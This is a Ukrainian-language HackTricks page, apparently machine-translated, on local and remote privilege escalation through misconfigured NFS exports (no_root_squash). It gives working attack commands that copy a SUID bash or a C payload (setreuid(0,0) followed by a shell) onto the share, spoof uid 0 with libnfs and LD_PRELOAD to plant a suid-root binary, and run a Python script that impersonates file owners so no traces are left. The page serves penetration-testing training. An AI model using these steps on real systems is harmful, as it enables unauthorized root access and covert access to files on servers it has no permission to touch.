tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Squashing Basic Info
NFS зазвичай (особливо в linux) довіряє вказаним uid
та gid
, які надає клієнт, що підключається для доступу до файлів (якщо не використовується kerberos). Однак є деякі конфігурації, які можна налаштувати на сервері, щоб змінити цю поведінку:
all_squash
: Він зменшує всі доступи, відображаючи кожного користувача та групу наnobody
(65534 беззнаковий / -2 знаковий). Таким чином, всі єnobody
, і жоден користувач не використовується.root_squash
/no_all_squash
: Це за замовчуванням в Linux і зменшує доступ лише з uid 0 (root). Таким чином, будь-якийUID
таGID
довіряються, але0
зменшується доnobody
(тому жодна імперсонація root не можлива).- ``no_root_squash`: Ця конфігурація, якщо увімкнена, навіть не зменшує користувача root. Це означає, що якщо ви змонтуєте каталог з цією конфігурацією, ви зможете отримати до нього доступ як root.
У файлі /etc/exports, якщо ви знайдете якийсь каталог, налаштований як no_root_squash, тоді ви можете доступитися до нього як клієнт і записувати всередині цього каталогу так, ніби ви були локальним root машини.
Для отримання додаткової інформації про NFS перевірте:
Privilege Escalation
Remote Exploit
Опція 1, використовуючи bash:
- Монтування цього каталогу на клієнтській машині та як root копіювання всередину змонтованої папки бінарного файлу /bin/bash та надання йому SUID прав, а також виконання з жертви машини цього бінарного файлу bash.
- Зверніть увагу, що для того, щоб бути root всередині NFS спільного доступу,
no_root_squash
має бути налаштовано на сервері. - Однак, якщо не увімкнено, ви можете підвищити привілеї до іншого користувача, скопіювавши бінарний файл до NFS спільного доступу та надавши йому дозвіл SUID як користувачу, до якого ви хочете підвищити привілеї.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
Опція 2 з використанням скомпільованого коду на C:
- Монтування цього каталогу на клієнтській машині, і як root копіювання всередину змонтованої папки нашого скомпільованого корисного навантаження, яке зловживає правами SUID, надання йому прав SUID, і виконання з жертви машини цього бінарного файлу (ви можете знайти тут деякі C SUID payloads).
- Ті ж обмеження, що й раніше.
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Local Exploit
note
Зверніть увагу, що якщо ви можете створити тунель з вашої машини до машини жертви, ви все ще можете використовувати віддалену версію для експлуатації цього підвищення привілеїв, тунелюючи необхідні порти.
Наступний трюк стосується випадку, коли файл /etc/exports
вказує на IP. У цьому випадку ви не зможете використовувати в жодному випадку віддалену експлуатацію і вам потрібно буде зловживати цим трюком.
Ще однією необхідною умовою для роботи експлуатації є те, що експорт всередині /etc/export
повинен використовувати прапор insecure
.
--Я не впевнений, що якщо /etc/export
вказує на IP-адресу, цей трюк спрацює--
Basic Information
Сценарій передбачає експлуатацію змонтованого NFS-спільного ресурсу на локальній машині, використовуючи недолік у специфікації NFSv3, який дозволяє клієнту вказувати свій uid/gid, що потенційно дозволяє несанкціонований доступ. Експлуатація передбачає використання libnfs, бібліотеки, яка дозволяє підробляти NFS RPC виклики.
Compiling the Library
Кроки компіляції бібліотеки можуть вимагати коригувань залежно від версії ядра. У цьому конкретному випадку системні виклики fallocate були закоментовані. Процес компіляції включає наступні команди:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Проведення експлуатації
Експлуатація полягає у створенні простого C програми (pwn.c
), яка підвищує привілеї до root, а потім виконує оболонку. Програма компілюється, а отриманий бінарний файл (a.out
) розміщується на загальному доступі з suid root, використовуючи ld_nfs.so
для підробки uid у викликах RPC:
- Скомпілюйте код експлуатації:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- Розмістіть експлойт на загальному доступі та змініть його дозволи, підробивши uid:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- Виконайте експлойт для отримання прав root:
/mnt/share/a.out
#root
Бонус: NFShell для прихованого доступу до файлів
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
Запустіть як:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.